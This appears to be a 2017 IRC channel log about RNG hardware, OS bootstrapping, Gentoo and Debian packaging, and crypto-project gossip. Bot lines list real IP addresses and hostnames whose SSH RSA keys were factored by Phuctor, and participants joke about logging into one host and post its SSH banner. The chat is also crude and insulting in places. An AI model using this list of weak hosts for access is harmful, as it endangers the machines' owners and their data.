same caveat as the internal clock 1636288;1491231733;asciilifeform;so that leaves the rng. 1636289;1491231788;asciilifeform;so we wait for EACH rng : http://btcbase.org/patches/fg-genesis#L360 : to pulse, before entering normal operation. 1636290;1491231861;asciilifeform;this was a pretty serious puzzler, incidentally, for a long time i could not get the deterministic mode to work, and thought that i might have to scrap the design. 1636291;1491231970;mircea_popescu;i recall that adventure. 1636292;1491232042;mircea_popescu;the conclusion being that i'm pretty sure they no longer ~actually manufacture~ the quartz tuning forklets, but instead just produce a soup of the things and then filter the functional ones out or some such 1636293;1491232061;asciilifeform;they're laser-cut 1636294;1491232068;asciilifeform;and yes, sorted (and price-graded) 1636295;1491232089;asciilifeform;and also shift with temperature. 1636296;1491232410;ben_vulpes;ah cute, `find-tags' is deprecated but its replacement `xref-find-definitions' ~doesn't work with c/++ projects 1636297;1491232533;danielpbarron;http://btcbase.org/log/2017-04-03#1636211 << for now, like this: http://archive.is/danielpbarron.com 1636298;1491232533;a111;Logged on 2017-04-03 12:48 mircea_popescu: danielpbarron how do i get stuff from your blog that's older than feb ? 1636299;1491232565;mircea_popescu;https://www.thelocal.at/20170128/hotel-ransomed-by-hackers-as-guests-locked-in-rooms << was this in the logs btw ? 1636300;1491232588;mircea_popescu;apparently idjits finally gave up on "new! better!" digital locks after being ransomed 4 or so times. 1636301;1491232658;asciilifeform;pretty sure it was in the logs. 1636302;1491232658;mircea_popescu;apparently bitcoin is useful for something after all. 1636303;1491232666;mircea_popescu;ah i must have missed it. 1636304;1491232897;asciilifeform;oh adlai btw that bag was quite certainly opened en route. 1636305;1491232939;asciilifeform;( they didn't bother to re-wrap the tape in the same direction i did !! lol. ) 1636306;1491232947;asciilifeform;!!up adlai 1636307;1491232948;deedbot;adlai voiced for 30 minutes. 1636308;1491232976;asciilifeform;this doesn't necessarily mean 'molested', i suspect that most mail from usa gets opened in customs. 1636309;1491232983;asciilifeform;but there it is. 1636310;1491233074;adlai;on further inspection there are a few small pieces of scotch tape holding the mailing labels in place. if you didn't put these there, then maybe the entire envelope was replaced? 1636311;1491233089;asciilifeform;those -- were put on at the post office in front of me. 1636312;1491233129;adlai;ah. the envelope's seal seemed intact, so they must have worked magic with solvents and glue 1636313;1491233200;asciilifeform;adlai: that 'seal' happily pulls off and reattaches intact 2-3 times. 1636314;1491233218;asciilifeform;with bare hands. 1636315;1491233237;adlai;it was quite well glued by the time it reached my hands 1636316;1491233247;mircea_popescu;aand in random lulz nobody cares about, http://www.anamorodan.com/a-dose-of-reality/ 1636317;1491233262;asciilifeform;yeah i suspect most of the postal rape happens ~in~ usa side, adlai 1636318;1491233295;asciilifeform;mircea_popescu: wtf is this horror 1636319;1491233363;mircea_popescu;aged female with countess gargauni on a third world income. 1636320;1491233516;mircea_popescu;(ex lawyer. re http://btcbase.org/log/2017-03-22#1630740 http://btcbase.org/log/2017-02-24#1617673 etc) 1636321;1491233516;a111;Logged on 2017-03-22 00:29 mircea_popescu: asciilifeform no, that's my point, OUT OF THE FUYCKING QUESTION she can, or that any one who was actually a lawyer would even consider trying. 1636322;1491233516;a111;Logged on 2017-02-24 17:52 mircea_popescu: ahaha oh this is delishious. "My work has appeared in LA Weekly, Vice, Curbed, Complex, ANIMALS, The Daily Dot, and LosAngeles.com" << dork quit law school because tucker max said to and is now a relationships advicerist. 1636323;1491233781;mircea_popescu;anyway, lulzy shit, romania is still in the "first best greatest" age of troglodytism. come to think of it will prolly stay there forever, fucktards can't read. 1636324;1491234696;shinohai;Speaking of Romania ..... https://pbs.twimg.com/media/C8M4ETjUwAA_i-i.jpg 1636325;1491234706;*;shinohai will indeed follow her upstairs. 1636326;1491240076;deedbot;http://phuctor.nosuchlabs.com/gpgkey/2B1524EA1F2005F151BF5AD14F05A4770CF229AF2A85CF93EE13DE7B29BF16BA << Recent Phuctorings. - Phuctored: 1494...9557 divides RSA Moduli belonging to '85.192.160.243 (ssh-rsa key from 85.192.160.243 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (lk-auto.ru. RU KHA) 1636327;1491240076;deedbot;http://phuctor.nosuchlabs.com/gpgkey/2B1524EA1F2005F151BF5AD14F05A4770CF229AF2A85CF93EE13DE7B29BF16BA << Recent Phuctorings. - Phuctored: 1513...7513 divides RSA Moduli belonging to '85.192.160.243 (ssh-rsa key from 85.192.160.243 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (lk-auto.ru. RU KHA) 1636328;1491240194;asciilifeform;^ lol, awd auto dealership 1636329;1491240644;deedbot;http://phuctor.nosuchlabs.com/gpgkey/F67EDDF10BEAB4C4D0A161FE40C1AE62CD442D211F0A90FBD538D4EA4911BA94 << Recent Phuctorings. - Phuctored: 1363...0633 divides RSA Moduli belonging to '92.221.145.103 (ssh-rsa key from 92.221.145.103 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (103.92-221-145.customer.lyse.net. NO) 1636330;1491240645;deedbot;http://phuctor.nosuchlabs.com/gpgkey/F67EDDF10BEAB4C4D0A161FE40C1AE62CD442D211F0A90FBD538D4EA4911BA94 << Recent Phuctorings. - Phuctored: 1718...5037 divides RSA Moduli belonging to '92.221.145.103 (ssh-rsa key from 92.221.145.103 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (103.92-221-145.customer.lyse.net. NO) 1636331;1491241735;deedbot;http://phuctor.nosuchlabs.com/gpgkey/BE3A2C56ABBFDC69088A0DD7876215EC7EA4ED640493A522564D5B07BB5A5CED << Recent Phuctorings. - Phuctored: 1527...1917 divides RSA Moduli belonging to '129.199.13.12 (ssh-rsa key from 129.199.13.12 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown FR 75 J) 1636332;1491241735;deedbot;http://phuctor.nosuchlabs.com/gpgkey/BE3A2C56ABBFDC69088A0DD7876215EC7EA4ED640493A522564D5B07BB5A5CED << Recent Phuctorings. - Phuctored: 1659...4883 divides RSA Moduli belonging to '129.199.13.12 (ssh-rsa key from 129.199.13.12 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown FR 75 J) 1636333;1491242229;deedbot;http://phuctor.nosuchlabs.com/gpgkey/8D0B23D9C56BE4BC7261FEE604AB406EC7BEA23D86D1C0DBA414C1B2E3AC94EE << Recent Phuctorings. - Phuctored: 1525...4537 divides RSA Moduli belonging to '62.182.62.80 (ssh-rsa key from 62.182.62.80 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (80-62.182.62.static.priorweb.net. BE) 1636334;1491242229;deedbot;http://phuctor.nosuchlabs.com/gpgkey/8D0B23D9C56BE4BC7261FEE604AB406EC7BEA23D86D1C0DBA414C1B2E3AC94EE << Recent Phuctorings. - Phuctored: 1731...7039 divides RSA Moduli belonging to '62.182.62.80 (ssh-rsa key from 62.182.62.80 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (80-62.182.62.static.priorweb.net. BE) 1636335;1491242392;CompanionCube;Phuctor seems to be on a roll right now. 1636336;1491242509;*;shinohai ssh's in and deletes everyone's car pymt info, becoming the Robin Hood of Autos http://btcbase.org/log/2017-04-03#1636328 1636337;1491242509;a111;Logged on 2017-04-03 17:23 asciilifeform: ^ lol, awd auto dealership 1636338;1491242715;asciilifeform;CompanionCube: this is the typical daily yield. it usually comes out in 2-3 bursts tho. 1636339;1491242736;CompanionCube;asciilifeform: it normally feels more spread-out than this 1636340;1491242784;CompanionCube;dealer ship's ssh: 'SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.7' 1636341;1491242826;asciilifeform;CompanionCube: ~90% of the yield to date, is on account of debian 1636342;1491242839;asciilifeform;'gift that keeps on giving' 1636343;1491242855;CompanionCube;asciilifeform: the 'debianized' boxes, as you call them right? 1636344;1491242970;CompanionCube;no response from the 2nd/3rd, SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1 for the last one. 1636345;1491244004;Framedragger;CompanionCube: you can use `!$ getarchive some_ip some_other_ip . . .` to get banners from the time of scan. (can do this as privmsg, `/msg scriba help`) 1636346;1491244029;CompanionCube;ah, thanks 1636347;1491244031;Framedragger;(sorry meant, can *also* do this as privmsg) 1636348;1491244039;mircea_popescu;http://btcbase.org/log/2016-04-16#1453092 << as an ignoble fucktard (who got killed by the very golum he helped create) put it. 1636349;1491244039;a111;Logged on 2016-04-16 18:25 mircea_popescu: "debian world's first [albeit primitive] app store" jesus fucking christ i've never been this insulted in my life. 1636350;1491244066;Framedragger;mircea_popescu: shit i meant `!$ ssh` not getarchive, i'm forgetting myself lol. 1636351;1491244082;Framedragger;and i meant CompanionCube not mircea_popescu 1636352;1491244088;Framedragger;too much coffee for me 1636353;1491244096;mircea_popescu;how's the ganja brother 1636354;1491244128;Framedragger;dope'y. i can't see the keyboard through all this dope smoke 1636355;1491244139;mircea_popescu;dope. 1636356;1491244480;deedbot;http://trilema.com/2017/the-comfort-of-strangers/ << Trilema - The Comfort of Strangers 1636357;1491244665;Framedragger;btw will see if i can set up complete re-scan in ~june (should be easier this time, ~all of logic was scripted and recorded) 1636358;1491244670;Framedragger;(maybe earlier) 1636359;1491244795;mircea_popescu;should be funny to see what % of computers stay the same 1636360;1491244964;Framedragger;yeah, definitely. 1636361;1491244988;Framedragger;i'm sure the results would match opinions of teh experts as usual 1636362;1491246976;Framedragger;http://btcbase.org/log/2017-03-31#1635314 << pretty fascinating; does this fall under the category of CRISPR (complete amateur question)? as in, "shit inserted in your dna by $parasite long ago, now you depend on it" 1636363;1491246976;a111;Logged on 2017-03-31 19:19 mircea_popescu: here's some random lul : wolbachia is possibly the most successful bacteria ; in any case is the most widely distributed sexual transmitted disease ; about half of all insects extant carry some form ; many species can't reproduce if uninfected, or cant' even survive. 1636364;1491246979;*;Framedragger bbl 1636365;1491247077;Framedragger;(just tried to come up with an actual definition of CRISPR, too deep, failed, so not even sure if q makes sense) 1636366;1491247254;Framedragger;wait no CRISP is the *immune response* to shit like ^. something like "distributed redundant backups of parts of dna" (repeated sequences). so nvm, 2deep4me 1636367;1491247263;Framedragger;CRISPR* 1636368;1491247458;ben_vulpes;in which nerds continue to assume that basic problems of coordination and capital allocation can be solved with technology, specifically ethereum: https://blog.ethlance.com/ethlance-introducing-job-sponsorships-84a7f7ca07d3 1636369;1491247838;Framedragger;fascinating (also their invoice and employment examples are very convincing) 1636370;1491247874;Framedragger;^ re above, last noob note, so [citing HN so grain of salt, etc.] this one gene (Cas9) has two functions: locating a dna sequence matching given chunk of rna, and cutting dna at that location. this substr() and insert_at_location().. together with some other genes it probably makes the whole thing turing complete. (~known, but particular demonstrations are interesting.) (also probably in the logs heh.) 1636371;1491247949;trinque;ben_vulpes: ofc, because then you get to build a wicked-sweet control room http://afflictor.com/wp-content/uploads/2015/05/cyb.jpg 1636372;1491248024;ben_vulpes;Framedragger: well is it in the logs or not? 1636373;1491248034;Framedragger;i didn't find it (did search). 1636374;1491248058;ben_vulpes;trinque: some day, buddy. some day. 1636375;1491248164;shinohai;lulzy ben_vulpes 1636376;1491248202;shinohai;Perhaps they will find bright minds to repair their replacement DNS, which broke in a day. 1636377;1491251581;ben_vulpes;shinohai: what, still not fixed? 1636378;1491251609;mircea_popescu;!!key Skydragon 1636379;1491251609;deedbot;Not registered. 1636380;1491251784;mircea_popescu;Framedragger not really, no 1636381;1491251833;mircea_popescu;ben_vulpes more like idiots, tbh. "any problems we don't understand will be solved by the amulet of not understood problems. we sacrificed the right nuymber of goats on the right day, no need to worry about it." 1636382;1491251898;mircea_popescu;trinque that looks like something straight out of 70s sexploitations. 1636383;1491251948;ben_vulpes;mircea_popescu: control room for brazilian planned economy iirc 1636384;1491251961;mircea_popescu;check out how close i got! 1636385;1491251991;ben_vulpes;you are a marvel 1636386;1491252056;mircea_popescu;i credit watching "women behind bars" right before fading off for a nap earlier. 1636387;1491252058;trinque;chilean actually 1636388;1491252083;trinque;easy to mix up one's utopian, south american communisms 1636389;1491252117;ben_vulpes;aaah 1636390;1491252125;ben_vulpes;that's right 1636391;1491252144;mircea_popescu;especially considering they're little more than off-color naked women anyhow. 1636392;1491252259;shinohai;!!key Skydragon 1636393;1491252260;deedbot;http://wot.deedbot.org/9B6629DDC9016A34681833CEA532F421B50CF7C7.asc 1636394;1491252660;mircea_popescu;and in other three ring bindings, https://68.media.tumblr.com/6b8c7736f7aff642103d4ff36071efa1/tumblr_ont5n3xduf1qmqb21o1_1280.png 1636395;1491252788;*;shinohai wonders if this is what the guy looks like that operates his twitter account .... 1636396;1491252838;mircea_popescu;i think so ya. 1636397;1491252857;mircea_popescu;meanwhile in illegal bestialities, http://dogbeauties.tumblr.com/ 1636398;1491252883;asciilifeform;http://btcbase.org/log/2017-04-03#1636371 << is this the one from star dreck, or the imitation that general alexander built at ft meade ? 1636399;1491252883;a111;Logged on 2017-04-03 19:32 trinque: ben_vulpes: ofc, because then you get to build a wicked-sweet control room http://afflictor.com/wp-content/uploads/2015/05/cyb.jpg 1636400;1491252894;asciilifeform;(they look quite similar) 1636401;1491252953;mircea_popescu;the things idiots build always look the same. 1636402;1491252956;ben_vulpes;asciilifeform: chile, turns out 1636403;1491252994;asciilifeform;ben_vulpes: oh hey the allende central planning computer thing 1636404;1491252996;asciilifeform;i remember it 1636405;1491253006;asciilifeform;http://btcbase.org/log/2017-04-03#1636368 << lulzy, e.g., 'Now you have to choose authorized addresses that will be allowed to spend funds from sponsors. These addresses will be in charge of evaluating whether work was properly done and therefore they’ll be paying freelancer’s invoices. Note, not even job creator himself has to be allowed to spend funds. Job creator can be somebody who’s willing to spend free time for community 1636406;1491253006;a111;Logged on 2017-04-03 19:24 ben_vulpes: in which nerds continue to assume that basic problems of coordination and capital allocation can be solved with technology, specifically ethereum: https://blog.ethlance.com/ethlance-introducing-job-sponsorships-84a7f7ca07d3 1636407;1491253006;asciilifeform; to coordinate job (do hiring, communication, etc.), but not necessarily have to be expert in the field to be able to check freelancer’s work (e.g check developer’s code).' 1636408;1491253020;asciilifeform;almost like these folx never heard of sybil etc. 1636409;1491253042;mircea_popescu;these folks never heard of ANYTHING 1636410;1491253050;mircea_popescu;they literally sit on ass all day converse with their own tulpas. 1636411;1491253054;phf;http://btcbase.org/log/2017-04-03#1636296 << find-tags deprecated?? that's like deprecating self-insert-command or move-beginning-of-line or something. the fuck is wrong with these people 1636412;1491253054;a111;Logged on 2017-04-03 15:13 ben_vulpes: ah cute, `find-tags' is deprecated but its replacement `xref-find-definitions' ~doesn't work with c/++ projects 1636413;1491253079;asciilifeform;mircea_popescu: yeah but the impression i used to get in the past, is of cynical fraud, well aware of the sheer lunacy of the claims 1636414;1491253089;asciilifeform;this -- looks like mere idiocy 1636415;1491253113;mircea_popescu;that's how things go. first, cynical fraud. then, a generation grown up on cynical fraud -- all mongoloids. 1636416;1491253127;asciilifeform;phf: hey, they 'deprecated' flymake (that works with all sane compilers past and future) in favour of 'flycheck' liquishit 1636417;1491253212;phf;merely observing maggot activity on the putrefying body 1636418;1491253250;asciilifeform;phf: the 'make bsd with vtronic portagetron' thing looks slightly more appealing every day 1636419;1491253311;asciilifeform;at one point i answered mircea_popescu's 'you could not replicate your workstation' challenge with the gentoo cure. but that will only work 'while supplies last', i'm not even certain when the last time was that anyone tested it 1636420;1491253335;asciilifeform;if gentoo.org etc evaporate, or , as more likely, go the usual way of decay -- that'll be all, for it 1636421;1491253343;mircea_popescu;i know i couldn't get it to the point where eg it's in the eulora wiki as "do this to run eulora" 1636422;1491253369;asciilifeform;mircea_popescu: iirc you somehow, somewhere got a box where it wouldn't even boot the install disk 1636423;1491253380;mircea_popescu;that's enough. 1636424;1491253394;asciilifeform;( not a thing i have ever personally witnessed, but new depths of vendor retardation are discovered every day ) 1636425;1491253410;asciilifeform;phf, ben_vulpes , shinohai , trinque , anybody ever saw a box like this ? 1636426;1491253449;mircea_popescu;but i confess it'd still be a great thing if i actually had a canned answer for "oh, eulora doesn't run on my system". and it'd be lovely if it'd just happen to consist of you know, $item tmsr actually wants to take over. 1636427;1491253458;mircea_popescu;but... rather distant bridge i'm guessing. 1636428;1491253502;asciilifeform;the eulora thing is complicated because gpu 1636429;1491253526;asciilifeform;afaik all known eulora-capable (e.g. any 3d acceleration at all) gpu require blob 1636430;1491253535;mircea_popescu;nobody ELSE is going to switch systems, you realise. 1636431;1491253540;asciilifeform;and what requires blob, requires very particular (linux 3-4.x) kernel, to eat it. 1636432;1491253617;asciilifeform;mircea_popescu: i was thinking of much more modest item -- replacement of ' asciilifeform's gentoo ' with something replicable on demand, for eternity (vtronic repo, vtronic 'portage') 1636433;1491253628;mircea_popescu;aha 1636434;1491253641;mircea_popescu;certainly the btc musl thing is a major cornerstone in that vein. 1636435;1491253645;mircea_popescu;actually how i even got the idea. 1636436;1491253647;asciilifeform;a thing that exists as buncha genesisen and can turn into a usable workstation os (gcc, gnat, x11, emacs, lynx, etc) 1636437;1491253660;asciilifeform;mircea_popescu: it's a fairly obvious extension of 'rotor' 1636438;1491253665;mircea_popescu;yes. 1636439;1491253695;*;ben_vulpes pants at the notion 1636440;1491253705;ben_vulpes;asciilifeform: pete_dushenski was bitching about a box not eating cdrom recently 1636441;1491253715;ben_vulpes;!#s target mode 1636442;1491253716;a111;1 result for "target mode", http://btcbase.org/log-search?q=target%20mode 1636443;1491253723;asciilifeform;ben_vulpes: exotic bigendian thing, neh 1636444;1491253734;ben_vulpes;you asked if i ever 1636445;1491253737;danielpbarron;asciilifeform, i was just thinking that earlier today. I want to host my own portage mirror 1636446;1491253741;asciilifeform;mircea_popescu had what looked like an ordinary x86. 1636447;1491253762;asciilifeform;danielpbarron: it is possible to do it, but the problem is that there is nothing to mirror any longer 1636448;1491253767;asciilifeform;the extant ones are rotten 1636449;1491253779;mircea_popescu;i suspect he meant "my own selection" 1636450;1491253779;danielpbarron;do you not have them? 1636451;1491253782;ben_vulpes;fwiw the trees are intact. 1636452;1491253789;asciilifeform;and ideally we would be killing the heathen swamp rather than placing it on life support 1636453;1491253795;danielpbarron;yeah i got my own, but feel free to tar.gz.asc it to me :D 1636454;1491253809;phf;portage doesn't include the original source code, so even if you have the tree, need to make sure that all the external urls resolve 1636455;1491253817;asciilifeform;^ 1636456;1491253821;ben_vulpes;D: 1636457;1491253834;asciilifeform;phf: and i have found, that quite often -- they do not 1636458;1491253851;shinohai;http://btcbase.org/log/2017-04-03#1636445 <<< THis would be nifty 1636459;1491253851;a111;Logged on 2017-04-03 21:08 danielpbarron: asciilifeform, i was just thinking that earlier today. I want to host my own portage mirror 1636460;1491253852;phf;it's the same with openbsd's ports, netbsd pkgsrc, mac's homebrew, etc. 1636461;1491253860;danielpbarron;it's not enough to just put an IP of my choosing in /etc/portage/make.conf under GENTOO_MIRRORS="" ? 1636462;1491253861;asciilifeform;phf: exactly 1636463;1491253866;ben_vulpes;so nobody vendored? 1636464;1491253875;asciilifeform;phf: which is why a serious answer is to go 'full biosphere' 1636465;1491253875;ben_vulpes;nobody in the history of linux distros vendored 1636466;1491253886;phf;ben_vulpes: what they end up vendoring is binary package artifacts from the port builds 1636467;1491253894;ben_vulpes;what was that...not even "sourcerer"? 1636468;1491253909;asciilifeform;ben_vulpes: nobody after the age of 'spam cdrom', where, e.g., rathead 5 HAD TO fit on 5 disks 'or what, user will use his dial-up to load the rest?\ 1636469;1491253910;asciilifeform;' 1636470;1491253911;mircea_popescu;phf yeah, but still, we have some experience with the neat trb building process. it can be done. 1636471;1491253912;ben_vulpes;phf: bin and not src? 1636472;1491253918;phf;debian vendors, i suspect so does redhat, because they package the original source into own packages 1636473;1491253935;asciilifeform;and yes, phf nails it, nobody 'vendored' sources. 1636474;1491253946;asciilifeform;'what, luser will build it all?' 1636475;1491253951;mircea_popescu;yes. 1636476;1491253968;danielpbarron;i have some stage3 tarball i keep reusing 1636477;1491253987;asciilifeform;danielpbarron: around the time gentoo irrevocably went to shit, notice, it stopped supporting stage1 builds 1636478;1491254012;mircea_popescu;ben_vulpes the history of linux is not like the history of a respectable item. it's like "the history of the human biofilm on the floors of grand central station, 1817-2017". 1636479;1491254012;danielpbarron;i'm not skilled enough to know what stageN even means 1636480;1491254025;mircea_popescu;yes two centuries, but not of SOMETHING. 1636481;1491254040;asciilifeform;danielpbarron: at one time, gentoo came with instructions for how to build it from 0 (using only an existing c compiler, and buncha src tarballs) 1636482;1491254042;mircea_popescu;because "Freedom" dontchaknow, and self-determination, and everyone can just be a bum. 1636483;1491254067;ben_vulpes;ubi can't happen soon enough 1636484;1491254069;trinque;asciilifeform: now there is "stage4" 1636485;1491254075;ben_vulpes;everyone straight to the cinderblock palace 1636486;1491254075;trinque;because the beoble must 1636487;1491254080;asciilifeform;trinque: i stopped reading the 'nows' a while ago. 1636488;1491254093;trinque;better for digestion that 1636489;1491254099;asciilifeform;but mircea_popescu has it, 'house without architect' looks like brazil. 1636490;1491254105;asciilifeform;the modern brazil. 1636491;1491254113;phf;debian comes closest to what would be considered "proper" in tmsr terms. the package archive is curated, the source is fully owned by the package author, etc. you can still grab old debian 10cd sets and have the entire slice of linux computing from the time 1636492;1491254148;asciilifeform;phf: pretty sure it stowed binary packages in there 1636493;1491254156;mircea_popescu;which incidentally is the principal reason mp doesn't speak against the bsd subversion/heresy. 1636494;1491254174;asciilifeform;waiwat 1636495;1491254195;asciilifeform;( which bsd ? bsd died six different deaths, at different times ..) 1636496;1491254201;phf;asciilifeform: the complete debian releases from back in the day included both package and package source trees 1636497;1491254222;asciilifeform;phf: in my experience if something 'includes both', it really expects you to use binary crapola at ~some~ point. 1636498;1491254232;mircea_popescu;asciilifeform neither of them are linux though. 1636499;1491254293;ben_vulpes;!!up derpshart 1636500;1491254293;deedbot;derpshart voiced for 30 minutes. 1636501;1491254294;asciilifeform;~whole point of bsd is to 'not linux' -- the bsds are relics from the time before the 'biofilm', when there was still some coordination and, e.g., same people wrote kernel and userland-utils 1636502;1491254297;ben_vulpes;hose yr key? 1636503;1491254299;phf;asciilifeform: that's a bootstrapping problem though. at least at the time that i'm speaking off, it was ~expected~ that you would do a custom build of some of your packages, and they whole deploy process relied on source packages being built by not-package-author 1636504;1491254301;mircea_popescu;myeah 1636505;1491254369;derpshart;https://thecontrol.co/stablecoins-a-holy-grail-in-digital-currency-b64f3371e111 <-- lulzy idea for alt coin (ethereum token ofc) tied to price of "special drawing rights" 1636506;1491254371;mircea_popescu;phf this is sane, imo. exposes all the dirty hacks which "in kindergarten" etc. 1636507;1491254400;mircea_popescu;derpshart this idea is an uncredited rehash of stuff i said in 2011, aka not an idea. 1636508;1491254443;mircea_popescu;http://btcbase.org/log/2013-07-08#130942 etc. 1636509;1491254443;a111;Logged on 2013-07-08 13:30 mircea_popescu: just like i showed the SDRs as the exact equivalent, and people ignored it because well... they never had one so it don't exist. 1636510;1491254460;trinque;https://man.cx/apt-build(1) << can build all debian packages from source 1636511;1491254481;asciilifeform;trinque: what does it need in order to begin to exist on the box, though ? 1636512;1491254483;asciilifeform;to begin with 1636513;1491254489;trinque;what does rotor need 1636514;1491254498;trinque;in this case needs a debian sitting there, yes 1636515;1491254506;asciilifeform;rotor needs : gcc (all versions tested to date, afaik, worked) and userland utils 1636516;1491254540;asciilifeform;(sed; make; possibly a few others) 1636517;1491254544;trinque;notbad 1636518;1491254551;asciilifeform;iirc it worked even on crapple 1636519;1491254564;derpshart;mircea_popescu interesting analogy 1636520;1491254567;phf;that pretends like bootstrapping problem doesn't exist though. "step 1 find a unix box you can fully trust!1" 1636521;1491254575;asciilifeform;whereas if the debian util needs ~a working debian box~, it solves ~nothing~ 1636522;1491254640;asciilifeform;phf: problems that cannot be solved, are to be properly compartmentalized -- consider a house with a toilet, vs one where the occupants shit where they stand. 1636523;1491254645;asciilifeform;yes, no one will ever 'solve' shit. 1636524;1491254648;mircea_popescu;phf the "need gcc and userland utils" you mean ? 1636525;1491254673;asciilifeform;also noteworthy is that gcc ~at one time~ was in fact buildable with non-gcc. 1636526;1491254674;trinque;any of a wide array of options is a different situation than "needs frozen same item as being built" 1636527;1491254675;phf;mircea_popescu: yes, the "you don't actually need a machine, just gcc and userland" 1636528;1491254706;trinque;neither is ideal, which would be a progressive bootstrap from machine code up 1636529;1491254707;asciilifeform;it would be interesting to produce a patched gcc that is happy to build with, e.g., borland c circa 1991. 1636530;1491254724;asciilifeform;this ought to be possible, considering that fabrice bellard got linux kernel to built with his 'tcc' 1636531;1491254748;mircea_popescu;phf i think hes' right though. we're not going to be solving shit. 1636532;1491254797;mircea_popescu;one possible approach would be a... non-optimizing compiler, let's call it a bootstrap compiler. 1636533;1491254804;phf;it seems like to me like we're trying to compartmenalize counterparty problem, but afau from logs you solve counterparty problem through trusted counterparty, not "hygiene" etc. 1636534;1491254805;mircea_popescu;run a "who can wriote the shortest c compiler". 1636535;1491254813;asciilifeform;mircea_popescu: tcc exists. 1636536;1491254820;asciilifeform;probably oughta be studied 1636537;1491254821;asciilifeform;and adaized. 1636538;1491254830;mircea_popescu;prolly 1636539;1491254832;mircea_popescu;phf delve ? 1636540;1491254876;asciilifeform;phf: we had at least one thread re subj. basic idea that anyone who claims to understand a million-line proggy, is a liar. 1636541;1491254887;asciilifeform;it is physically impossible to do an honest job of such a thing. 1636542;1491254896;mircea_popescu;how long is tcc ? 1636543;1491254907;asciilifeform;and therefore in order for the 'find trusted auditor' to have MEANING, the item being audited must fit-in-head. 1636544;1491254911;mircea_popescu;and afaik it wasn't specifically written to solve the bootstrap problem. prolly could be shortened thertefore. 1636545;1491254933;asciilifeform;http://www.bellard.org/tcc 1636546;1491254942;asciilifeform;seems to be ~77k line. 1636547;1491254963;asciilifeform;and that's with, iirc, no back end. 1636548;1491254969;phf;asciilifeform: you introduce gcc, userland, etc. in the mix already. so either the whole system must fit in head, or else it's not an important prereq for you 1636549;1491255013;asciilifeform;phf: the reason why i have not attempted the contemplated exercise, nor seriously encouraged others to do so, is that you are right -- c and unix MUST die. 1636550;1491255018;asciilifeform;must be killed, with fire. 1636551;1491255033;mircea_popescu;and you'll bitcoin on lisp machine ? 1636552;1491255040;asciilifeform;^ 1636553;1491255048;asciilifeform;the reason the subj comes up again and again 1636554;1491255057;asciilifeform;is that very soon it will be impossible to build a usable comp on demand. 1636555;1491255058;asciilifeform;at all. 1636556;1491255084;phf;lisp machine fwiw doesn't solve bootstrapping problem either.. have to trust a binary blob that you got from your l1 1636557;1491255091;mircea_popescu;aha. 1636558;1491255126;mircea_popescu;i seriously don't see the problem with "i trust this pared down version of tcc - it builds a very slow blob but it does build it - and these tools which i read myself" 1636559;1491255128;trinque;if one's going to set off creating one, might consider making that blob as (auditably) small as possible 1636560;1491255135;mircea_popescu;seems a doable waypoint. 1636561;1491255141;trinque;lisp machine I mean. 1636562;1491255164;trinque;"here's this syslisp written in the machine code of the hardware" 1636563;1491255198;asciilifeform;trinque: i've had an x64 asm scheme thing on back burner for eons. 1636564;1491255208;phf;mircea_popescu: tcc doesn't run on bare metal though 1636565;1491255213;trinque;wrong machine though I gather from you, asciilifeform 1636566;1491255213;asciilifeform;but again, has serious political problem, in my head, in that i would like x64 to DIE, not to live. 1636567;1491255217;trinque;yep 1636568;1491255221;trinque;not wrong approach 1636569;1491255258;mircea_popescu;phf but could be musl'd neh ? 1636570;1491255264;asciilifeform;but on the other hand, at some point the pain will begin to be felt, 'i want to build emacs but where do i get not only it but a box that'll build pre-poettering emacs at all, and where do i even get the gcc that still builds it' 1636571;1491255284;mircea_popescu;asciilifeform you kill things in the order you can not in the order you want. 1636572;1491255289;asciilifeform;right 1636573;1491255291;mircea_popescu;1st lesson for young warrior. 1636574;1491255343;ben_vulpes;asciilifeform: sterling: "i'm astonished that i will probably outlive the 'personal computer'. what would anyone want one of those for these days anyways. 'hey you, do you want a personal computer? you can...compute on it! in private! nobody would ever know!' it just doesn't sell to the touchscreen zombies, no offense to present company." 1636575;1491255351;asciilifeform;but the danger of keeping the fungus alive , when it could have been killed -- is imho very real. it is what linux, for instance, ended up doing: keeping the idiot pc architecture alive long past 1995, when it should have burned 1636576;1491255395;mircea_popescu;ben_vulpes the notion that computers are mass market items are ridiculous. no, rakim didn't want one in 1977 either. 1636577;1491255412;mircea_popescu;because rakim is stuck bagging my compras for a fucking reason. and nobody asks him which way the world goes. 1636578;1491255449;asciilifeform;ben_vulpes: the availability of general-purpose comp was ~pure accident. and quite temporary. just like, say, lathes used to be ubiquitous back when auto repair needed one. 1636579;1491255450;mircea_popescu;asciilifeform had pc burned in 1995 you'd be collecting computers from ebay, via tyour tablet today. 1636580;1491255455;asciilifeform;(as they were aboard, e.g., submarines) 1636581;1491255464;asciilifeform;mircea_popescu: i already do this. 1636582;1491255466;ben_vulpes;myeah, still took the americhanskis a few decades to figure it out, and most haven't yet. 1636583;1491255471;mircea_popescu;i do not. 1636584;1491255503;asciilifeform;mircea_popescu: alternative is to buy shitbox built by chinese for argentina, where power cord comes out of bottom ? and gentoo won't boot 1636585;1491255509;asciilifeform;or which. 1636586;1491255516;phf;mircea_popescu: i think nature of bootstrapping problem is that you have to choose a bedrock that you can affect, and that bedrock falls under counterparty problem. if your bedrock is hardware, then it's foundries that you trust. if your bedrock is a "a unix" then you need to trust a large binary blob. yes you can construct a rube goldberg that gives you unix from bedrock without having trust, but we don't have anything like that 1636587;1491255543;mircea_popescu;asciilifeform you lost me. 1636588;1491255558;asciilifeform;mircea_popescu: what i meant is -- i buy comp hardware 